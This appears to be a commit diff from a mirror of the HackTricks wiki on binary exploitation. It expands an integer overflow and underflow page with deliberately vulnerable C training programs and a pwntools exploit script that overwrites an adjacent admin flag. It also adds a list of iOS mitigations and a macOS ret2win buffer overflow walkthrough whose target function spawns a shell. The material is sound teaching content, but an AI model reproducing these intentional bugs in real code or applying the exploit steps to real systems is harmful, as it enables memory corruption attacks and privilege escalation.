mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Merge branch 'master' into update_HTB__TheFrizz_20250827_141120
This commit is contained in:
commit
500ff413f5
@ -80,6 +80,8 @@
|
||||
- [Bruteforce hash (few chars)](generic-methodologies-and-resources/python/bruteforce-hash-few-chars.md)
|
||||
- [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
|
||||
- [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
|
||||
- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
|
||||
- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
|
||||
|
||||
# 🧙♂️ Generic Hacking
|
||||
|
||||
@ -234,6 +236,7 @@
|
||||
- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md)
|
||||
- [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
|
||||
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
|
||||
- [Abusing Auto Updaters And Ipc](windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
|
||||
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
|
||||
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
|
||||
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
|
||||
@ -782,7 +785,7 @@
|
||||
- [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md)
|
||||
- [Array Indexing](binary-exploitation/array-indexing.md)
|
||||
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
|
||||
- [Integer Overflow](binary-exploitation/integer-overflow.md)
|
||||
- [Integer Overflow](binary-exploitation/integer-overflow-and-underflow.md)
|
||||
- [Format Strings](binary-exploitation/format-strings/README.md)
|
||||
- [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md)
|
||||
- [Format Strings Template](binary-exploitation/format-strings/format-strings-template.md)
|
||||
@ -926,13 +929,4 @@
|
||||
- [Post Exploitation](todo/post-exploitation.md)
|
||||
- [Investment Terms](todo/investment-terms.md)
|
||||
- [Cookies Policy](todo/cookies-policy.md)
|
||||
|
||||
|
||||
|
||||
- [Readme](blockchain/blockchain-and-crypto-currencies/README.md)
|
||||
- [Readme](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md)
|
||||
- [Readme](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md)
|
||||
- [Readme](pentesting-web/web-vulnerabilities-methodology/README.md)
|
||||
- [Readme](reversing/cryptographic-algorithms/README.md)
|
||||
- [Readme](reversing/reversing-tools/README.md)
|
||||
- [Readme](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md)
|
||||
|
||||
|
@ -27,11 +27,11 @@ With so many techniques it's good to have a scheme when each technique will be u
|
||||
There are different was you could end controlling the flow of a program:
|
||||
|
||||
- [**Stack Overflows**](../stack-overflow/index.html) overwriting the return pointer from the stack or the EBP -> ESP -> EIP.
|
||||
- Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow
|
||||
- Might need to abuse an [**Integer Overflows**](../integer-overflow-and-underflow.md) to cause the overflow
|
||||
- Or via **Arbitrary Writes + Write What Where to Execution**
|
||||
- [**Format strings**](../format-strings/index.html)**:** Abuse `printf` to write arbitrary content in arbitrary addresses.
|
||||
- [**Array Indexing**](../array-indexing.md): Abuse a poorly designed indexing to be able to control some arrays and get an arbitrary write.
|
||||
- Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow
|
||||
- Might need to abuse an [**Integer Overflows**](../integer-overflow-and-underflow.md) to cause the overflow
|
||||
- **bof to WWW via ROP**: Abuse a buffer overflow to construct a ROP and be able to get a WWW.
|
||||
|
||||
You can find the **Write What Where to Execution** techniques in:
|
||||
|
389
src/binary-exploitation/integer-overflow-and-underflow.md
Normal file
389
src/binary-exploitation/integer-overflow-and-underflow.md
Normal file
@ -0,0 +1,389 @@
|
||||
# Integer Overflow
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
At the heart of an **integer overflow** is the limitation imposed by the **size** of data types in computer programming and the **interpretation** of the data.
|
||||
|
||||
For example, an **8-bit unsigned integer** can represent values from **0 to 255**. If you attempt to store the value 256 in an 8-bit unsigned integer, it wraps around to 0 due to the limitation of its storage capacity. Similarly, for a **16-bit unsigned integer**, which can hold values from **0 to 65,535**, adding 1 to 65,535 will wrap the value back to 0.
|
||||
|
||||
Moreover, an **8-bit signed integer** can represent values from **-128 to 127**. This is because one bit is used to represent the sign (positive or negative), leaving 7 bits to represent the magnitude. The most negative number is represented as **-128** (binary `10000000`), and the most positive number is **127** (binary `01111111`).
|
||||
|
||||
Max values for common integer types:
|
||||
| Type | Size (bits) | Min Value | Max Value |
|
||||
|----------------|-------------|--------------------|--------------------|
|
||||
| int8_t | 8 | -128 | 127 |
|
||||
| uint8_t | 8 | 0 | 255 |
|
||||
| int16_t | 16 | -32,768 | 32,767 |
|
||||
| uint16_t | 16 | 0 | 65,535 |
|
||||
| int32_t | 32 | -2,147,483,648 | 2,147,483,647 |
|
||||
| uint32_t | 32 | 0 | 4,294,967,295 |
|
||||
| int64_t | 64 | -9,223,372,036,854,775,808 | 9,223,372,036,854,775,807 |
|
||||
| uint64_t | 64 | 0 | 18,446,744,073,709,551,615 |
|
||||
|
||||
A short is equivalent to a `int16_t` and an int is equivalent to a `int32_t` and a long is equivalent to a `int64_t` in 64bits systems.
|
||||
|
||||
### Max values
|
||||
|
||||
For potential **web vulnerabilities** it's very interesting to know the maximum supported values:
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Rust"}}
|
||||
|
||||
```rust
|
||||
fn main() {
|
||||
|
||||
let mut quantity = 2147483647;
|
||||
|
||||
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
|
||||
let (add_result, _) = i32::overflowing_add(1, quantity);
|
||||
|
||||
println!("{}", mul_result);
|
||||
println!("{}", add_result);
|
||||
}
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="C"}}
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <limits.h>
|
||||
|
||||
int main() {
|
||||
int a = INT_MAX;
|
||||
int b = 0;
|
||||
int c = 0;
|
||||
|
||||
b = a * 100;
|
||||
c = a + 1;
|
||||
|
||||
printf("%d\n", INT_MAX);
|
||||
printf("%d\n", b);
|
||||
printf("%d\n", c);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
## Examples
|
||||
|
||||
### Pure overflow
|
||||
|
||||
The printed result will be 0 as we overflowed the char:
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
unsigned char max = 255; // 8-bit unsigned integer
|
||||
unsigned char result = max + 1;
|
||||
printf("Result: %d\n", result); // Expected to overflow
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
### Signed to Unsigned Conversion
|
||||
|
||||
Consider a situation where a signed integer is read from user input and then used in a context that treats it as an unsigned integer, without proper validation:
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
int userInput; // Signed integer
|
||||
printf("Enter a number: ");
|
||||
scanf("%d", &userInput);
|
||||
|
||||
// Treating the signed input as unsigned without validation
|
||||
unsigned int processedInput = (unsigned int)userInput;
|
||||
|
||||
// A condition that might not work as intended if userInput is negative
|
||||
if (processedInput > 1000) {
|
||||
printf("Processed Input is large: %u\n", processedInput);
|
||||
} else {
|
||||
printf("Processed Input is within range: %u\n", processedInput);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
In this example, if a user inputs a negative number, it will be interpreted as a large unsigned integer due to the way binary values are interpreted, potentially leading to unexpected behavior.
|
||||
|
||||
### macOS Overflow Example
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
/*
|
||||
* Realistic integer-overflow → undersized allocation → heap overflow → flag
|
||||
* Works on macOS arm64 (no ret2win required; avoids PAC/CFI).
|
||||
*/
|
||||
|
||||
__attribute__((noinline))
|
||||
void win(void) {
|
||||
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
|
||||
puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
struct session {
|
||||
int is_admin; // Target to flip from 0 → 1
|
||||
char note[64];
|
||||
};
|
||||
|
||||
static size_t read_stdin(void *dst, size_t want) {
|
||||
// Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY)
|
||||
const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine)
|
||||
size_t got = 0;
|
||||
|
||||
printf("Requested bytes: %zu\n", want);
|
||||
|
||||
while (got < want) {
|
||||
size_t remain = want - got;
|
||||
size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
|
||||
|
||||
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
|
||||
if (n > 0) {
|
||||
got += (size_t)n;
|
||||
continue;
|
||||
}
|
||||
if (n == 0) {
|
||||
// EOF – stop; partial reads are fine for our exploit
|
||||
break;
|
||||
}
|
||||
// n < 0: real error (likely EINVAL when chunk too big on some FDs)
|
||||
perror("read");
|
||||
break;
|
||||
}
|
||||
return got;
|
||||
}
|
||||
|
||||
|
||||
int main(void) {
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
puts("=== Bundle Importer (training) ===");
|
||||
|
||||
// 1) Read attacker-controlled parameters (use large values)
|
||||
size_t count = 0, elem_size = 0;
|
||||
printf("Entry count: ");
|
||||
if (scanf("%zu", &count) != 1) return 1;
|
||||
printf("Entry size: ");
|
||||
if (scanf("%zu", &elem_size) != 1) return 1;
|
||||
|
||||
// 2) Compute total bytes with a 32-bit truncation bug (vulnerability)
|
||||
// NOTE: 'product32' is 32-bit → wraps; then we add a tiny header.
|
||||
uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit.
|
||||
/* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits
|
||||
Then, product32 = 0
|
||||
*/
|
||||
uint32_t alloc32 = product32 + 32; // alloc32 = 0 + 32 = 32
|
||||
printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32);
|
||||
|
||||
// 3) Allocate a single arena and lay out [buffer][slack][session]
|
||||
// This makes adjacency deterministic (no reliance on system malloc order).
|
||||
const size_t SLACK = 512;
|
||||
size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220)
|
||||
unsigned char *arena = (unsigned char*)malloc(arena_sz);
|
||||
if (!arena) { perror("malloc"); return 1; }
|
||||
memset(arena, 0, arena_sz);
|
||||
|
||||
unsigned char *buf = arena; // In this buffer the attacker will copy data
|
||||
struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48
|
||||
sess->is_admin = 0;
|
||||
strncpy(sess->note, "regular user", sizeof(sess->note)-1);
|
||||
|
||||
printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n",
|
||||
(void*)arena, (void*)buf, alloc32, (void*)sess,
|
||||
((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16).
|
||||
|
||||
// 4) Copy uses native size_t product (no truncation) → It generates an overflow
|
||||
size_t to_copy = count * elem_size; // <-- Large size_t
|
||||
printf("[dbg] requested copy (size_t) = %zu\n", to_copy);
|
||||
|
||||
puts(">> Send bundle payload on stdin (EOF to finish)...");
|
||||
size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1
|
||||
printf("[dbg] actually read = %zu bytes\n", got);
|
||||
|
||||
// 5) Privileged action gated by a field next to the overflow target
|
||||
if (sess->is_admin) {
|
||||
puts("[dbg] admin privileges detected");
|
||||
win();
|
||||
} else {
|
||||
puts("[dbg] normal user");
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
Compile it with:
|
||||
|
||||
```bash
|
||||
clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
|
||||
-o int_ovf_heap_priv int_ovf_heap_priv.c
|
||||
```
|
||||
|
||||
#### Exploit
|
||||
|
||||
```python
|
||||
# exploit.py
|
||||
from pwn import *
|
||||
|
||||
# Keep logs readable; switch to "debug" if you want full I/O traces
|
||||
context.log_level = "info"
|
||||
|
||||
EXE = "./int_ovf_heap_priv"
|
||||
|
||||
def main():
|
||||
# IMPORTANT: use plain pipes, not PTY
|
||||
io = process([EXE]) # stdin=PIPE, stdout=PIPE by default
|
||||
|
||||
# 1) Drive the prompts
|
||||
io.sendlineafter(b"Entry count: ", b"4294967296") # 2^32 -> (uint32_t)0
|
||||
io.sendlineafter(b"Entry size: ", b"1") # alloc32 = 32, offset_to_sess = 48
|
||||
|
||||
# 2) Wait until it’s actually reading the payload
|
||||
io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...")
|
||||
|
||||
# 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian)
|
||||
payload = b"A" * 48 + p32(1)
|
||||
|
||||
# 4) Send payload, THEN send EOF via half-close on the pipe
|
||||
io.send(payload)
|
||||
io.shutdown("send") # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary
|
||||
|
||||
# 5) Read the rest (should print admin + FLAG)
|
||||
print(io.recvall(timeout=5).decode(errors="ignore"))
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
|
||||
### macOS Underflow Example
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
/*
|
||||
* Integer underflow -> undersized allocation + oversized copy -> heap overwrite
|
||||
* Works on macOS arm64. Data-oriented exploit: flip sess->is_admin.
|
||||
*/
|
||||
|
||||
__attribute__((noinline))
|
||||
void win(void) {
|
||||
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
|
||||
puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
struct session {
|
||||
int is_admin; // flip 0 -> 1
|
||||
char note[64];
|
||||
};
|
||||
|
||||
static size_t read_stdin(void *dst, size_t want) {
|
||||
// Read in bounded chunks so huge 'want' doesn't break on PTY/TTY.
|
||||
const size_t MAX_CHUNK = 1 << 20; // 1 MiB
|
||||
size_t got = 0;
|
||||
printf("[dbg] Requested bytes: %zu\n", want);
|
||||
while (got < want) {
|
||||
size_t remain = want - got;
|
||||
size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
|
||||
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
|
||||
if (n > 0) { got += (size_t)n; continue; }
|
||||
if (n == 0) break; // EOF: partial read is fine
|
||||
perror("read"); break;
|
||||
}
|
||||
return got;
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
puts("=== Packet Importer (UNDERFLOW training) ===");
|
||||
|
||||
size_t total_len = 0;
|
||||
printf("Total packet length: ");
|
||||
if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8"
|
||||
|
||||
const size_t HEADER = 16;
|
||||
|
||||
// **BUG**: size_t underflow if total_len < HEADER
|
||||
size_t payload_len = total_len - HEADER; // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned
|
||||
// If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number)
|
||||
printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n",
|
||||
total_len, HEADER, payload_len);
|
||||
|
||||
// Build a deterministic arena: [buf of total_len][16 gap][session][slack]
|
||||
const size_t SLACK = 256;
|
||||
size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160)
|
||||
unsigned char *arena = (unsigned char*)malloc(arena_sz);
|
||||
if (!arena) { perror("malloc"); return 1; }
|
||||
memset(arena, 0, arena_sz);
|
||||
|
||||
unsigned char *buf = arena;
|
||||
struct session *sess = (struct session*)(arena + total_len + 16);
|
||||
// The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18)
|
||||
sess->is_admin = 0;
|
||||
strncpy(sess->note, "regular user", sizeof(sess->note)-1);
|
||||
|
||||
printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n",
|
||||
(void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16);
|
||||
|
||||
puts(">> Send payload bytes (EOF to finish)...");
|
||||
size_t got = read_stdin(buf, payload_len);
|
||||
// The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1
|
||||
printf("[dbg] actually read = %zu bytes\n", got);
|
||||
|
||||
if (sess->is_admin) {
|
||||
puts("[dbg] admin privileges detected");
|
||||
win();
|
||||
} else {
|
||||
puts("[dbg] normal user");
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
Compile it with:
|
||||
|
||||
```bash
|
||||
clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
|
||||
-o int_underflow_heap int_underflow_heap.c
|
||||
```
|
||||
|
||||
### Other Examples
|
||||
|
||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
|
||||
- Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection
|
||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
|
||||
|
||||
- Given a couple of numbers find out using z3 a new number that multiplied by the first one will give the second one:
|
||||
|
||||
```
|
||||
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
|
||||
```
|
||||
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
|
||||
- Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection and overwrite in the stack the next local variable and bypass both protections
|
||||
|
||||
## ARM64
|
||||
|
||||
This **doesn't change in ARM64** as you can see in [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
@ -1,126 +0,0 @@
|
||||
# Integer Overflow
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
At the heart of an **integer overflow** is the limitation imposed by the **size** of data types in computer programming and the **interpretation** of the data.
|
||||
|
||||
For example, an **8-bit unsigned integer** can represent values from **0 to 255**. If you attempt to store the value 256 in an 8-bit unsigned integer, it wraps around to 0 due to the limitation of its storage capacity. Similarly, for a **16-bit unsigned integer**, which can hold values from **0 to 65,535**, adding 1 to 65,535 will wrap the value back to 0.
|
||||
|
||||
Moreover, an **8-bit signed integer** can represent values from **-128 to 127**. This is because one bit is used to represent the sign (positive or negative), leaving 7 bits to represent the magnitude. The most negative number is represented as **-128** (binary `10000000`), and the most positive number is **127** (binary `01111111`).
|
||||
|
||||
### Max values
|
||||
|
||||
For potential **web vulnerabilities** it's very interesting to know the maximum supported values:
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Rust"}}
|
||||
|
||||
```rust
|
||||
fn main() {
|
||||
|
||||
let mut quantity = 2147483647;
|
||||
|
||||
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
|
||||
let (add_result, _) = i32::overflowing_add(1, quantity);
|
||||
|
||||
println!("{}", mul_result);
|
||||
println!("{}", add_result);
|
||||
}
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="C"}}
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <limits.h>
|
||||
|
||||
int main() {
|
||||
int a = INT_MAX;
|
||||
int b = 0;
|
||||
int c = 0;
|
||||
|
||||
b = a * 100;
|
||||
c = a + 1;
|
||||
|
||||
printf("%d\n", INT_MAX);
|
||||
printf("%d\n", b);
|
||||
printf("%d\n", c);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
## Examples
|
||||
|
||||
### Pure overflow
|
||||
|
||||
The printed result will be 0 as we overflowed the char:
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
unsigned char max = 255; // 8-bit unsigned integer
|
||||
unsigned char result = max + 1;
|
||||
printf("Result: %d\n", result); // Expected to overflow
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
### Signed to Unsigned Conversion
|
||||
|
||||
Consider a situation where a signed integer is read from user input and then used in a context that treats it as an unsigned integer, without proper validation:
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
int userInput; // Signed integer
|
||||
printf("Enter a number: ");
|
||||
scanf("%d", &userInput);
|
||||
|
||||
// Treating the signed input as unsigned without validation
|
||||
unsigned int processedInput = (unsigned int)userInput;
|
||||
|
||||
// A condition that might not work as intended if userInput is negative
|
||||
if (processedInput > 1000) {
|
||||
printf("Processed Input is large: %u\n", processedInput);
|
||||
} else {
|
||||
printf("Processed Input is within range: %u\n", processedInput);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
In this example, if a user inputs a negative number, it will be interpreted as a large unsigned integer due to the way binary values are interpreted, potentially leading to unexpected behavior.
|
||||
|
||||
### Other Examples
|
||||
|
||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
|
||||
- Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection
|
||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
|
||||
|
||||
- Given a couple of numbers find out using z3 a new number that multiplied by the first one will give the second one:
|
||||
|
||||
```
|
||||
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
|
||||
```
|
||||
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
|
||||
- Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection and overwrite in the stack the next local variable and bypass both protections
|
||||
|
||||
## ARM64
|
||||
|
||||
This **doesn't change in ARM64** as you can see in [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
@ -2,6 +2,20 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## iOS Exploit Mitigations
|
||||
|
||||
- **Code Signing** in iOS works by requiring every piece of executable code (apps, libraries, extensions, etc.) to be cryptographically signed with a certificate issued by Apple. When code is loaded, iOS verifies the digital signature against Apple’s trusted root. If the signature is invalid, missing, or modified, the OS refuses to run it. This prevents attackers from injecting malicious code into legitimate apps or running unsigned binaries, effectively stopping most exploit chains that rely on executing arbitrary or tampered code.
|
||||
- **CoreTrust** is the iOS subsystem responsible for enforcing code signing at runtime. It directly verifies signatures using Apple’s root certificate without relying on cached trust stores, meaning only binaries signed by Apple (or with valid entitlements) can execute. CoreTrust ensures that even if an attacker tampers with an app after installation, modifies system libraries, or tries to load unsigned code, the system will block execution unless the code is still properly signed. This strict enforcement closes many post-exploitation vectors that older iOS versions allowed through weaker or bypassable signature checks.
|
||||
- **Data Execution Prevention (DEP)** marks memory regions as non-executable unless they explicitly contain code. This stops attackers from injecting shellcode into data regions (like the stack or heap) and running it, forcing them to rely on more complex techniques like ROP (Return-Oriented Programming).
|
||||
- **ASLR (Address Space Layout Randomization)** randomizes the memory addresses of code, libraries, stack, and heap every time the system runs. This makes it much harder for attackers to predict where useful instructions or gadgets are, breaking many exploit chains that depend on fixed memory layouts.
|
||||
- **KASLR (Kernel ASLR)** applies the same randomization concept to the iOS kernel. By shuffling the kernel’s base address at each boot, it prevents attackers from reliably locating kernel functions or structures, raising the difficulty of kernel-level exploits that would otherwise gain full system control.
|
||||
- **Kernel Patch Protection (KPP)** also known as **AMCC (Apple Mobile File Integrity)** in iOS, continuously monitors the kernel’s code pages to ensure they haven’t been modified. If any tampering is detected—such as an exploit trying to patch kernel functions or insert malicious code—the device will immediately panic and reboot. This protection makes persistent kernel exploits far harder, as attackers can’t simply hook or patch kernel instructions without triggering a system crash.
|
||||
- **Kernel Text Readonly Region (KTRR)** is a hardware-based security feature introduced on iOS devices. It uses the CPU’s memory controller to mark the kernel’s code (text) section as permanently read-only after boot. Once locked, even the kernel itself cannot modify this memory region. This prevents attackers—and even privileged code—from patching kernel instructions at runtime, closing off a major class of exploits that relied on modifying kernel code directly.
|
||||
- **Pointer Authentication Codes (PAC)** use cryptographic signatures embedded into unused bits of pointers to verify their integrity before use. When a pointer (like a return address or function pointer) is created, the CPU signs it with a secret key; before dereferencing, the CPU checks the signature. If the pointer was tampered with, the check fails and execution stops. This prevents attackers from forging or reusing corrupted pointers in memory corruption exploits, making techniques like ROP or JOP much harder to pull off reliably.
|
||||
- **Privilege Access never (PAN)** is a hardware feature that prevents the kernel (privileged mode) from directly accessing user-space memory unless it explicitly enables access. This stops attackers who gained kernel code execution from easily reading or writing user memory to escalate exploits or steal sensitive data. By enforcing strict separation, PAN reduces the impact of kernel exploits and blocks many common privilege-escalation techniques.
|
||||
- **Page Protection Layer (PPL)** is an iOS security mechanism that protects critical kernel-managed memory regions, especially those related to code signing and entitlements. It enforces strict write protections using the MMU (Memory Management Unit) and additional checks, ensuring that even privileged kernel code cannot arbitrarily modify sensitive pages. This prevents attackers who gain kernel-level execution from tampering with security-critical structures, making persistence and code-signing bypasses significantly harder.
|
||||
|
||||
|
||||
## Physical use-after-free
|
||||
|
||||
This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
|
||||
|
@ -201,7 +201,286 @@ print(p.recvline())
|
||||
p.close()
|
||||
```
|
||||
|
||||
### Notes on modern AArch64 hardening (PAC/BTI) and ret2win
|
||||
## macOS
|
||||
|
||||
### Code
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
__attribute__((noinline))
|
||||
void win(void) {
|
||||
system("/bin/sh"); // <- **our target**
|
||||
}
|
||||
|
||||
void vulnerable_function(void) {
|
||||
char buffer[64];
|
||||
// **BOF**: reading 256 bytes into a 64B stack buffer
|
||||
read(STDIN_FILENO, buffer, 256);
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
printf("win() is at %p\n", win);
|
||||
vulnerable_function();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
Compile without canary (in macOS you can't disable PIE):
|
||||
|
||||
```bash
|
||||
clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security
|
||||
```
|
||||
|
||||
Execute without ASLR (although as we have an address leak, we don't need it):
|
||||
|
||||
```bash
|
||||
env DYLD_DISABLE_ASLR=1 ./bof_macos
|
||||
```
|
||||
|
||||
> [!TIP]
|
||||
> It's not possible to disable NX in macOS because in arm64 this mode is implemented at hardware level so you can't disable it, so you won't be finding examples with shellcode in stack in macOS.
|
||||
|
||||
### Find the offset
|
||||
|
||||
- Generate a pattern:
|
||||
|
||||
```bash
|
||||
python3 - << 'PY'
|
||||
from pwn import *
|
||||
print(cyclic(200).decode())
|
||||
PY
|
||||
```
|
||||
|
||||
- Run the program and input the pattern to cause a crash:
|
||||
|
||||
```bash
|
||||
lldb ./bof_macos
|
||||
(lldb) env DYLD_DISABLE_ASLR=1
|
||||
(lldb) run
|
||||
# paste the 200-byte cyclic string, press Enter
|
||||
```
|
||||
|
||||
- Check register `x30` (the return address) to find the offset:
|
||||
|
||||
```bash
|
||||
(lldb) register read x30
|
||||
```
|
||||
|
||||
- Use `cyclic -l <value>` to find the exact offset:
|
||||
|
||||
```bash
|
||||
python3 - << 'PY'
|
||||
from pwn import *
|
||||
print(cyclic_find(0x61616173))
|
||||
PY
|
||||
|
||||
# Replace 0x61616173 with the 4 first bytes from the value of x30
|
||||
```
|
||||
|
||||
- Thats how I found the offset `72`, putting in that offset the address of `win()` function you can execute that function and get a shell (running without ASLR).
|
||||
|
||||
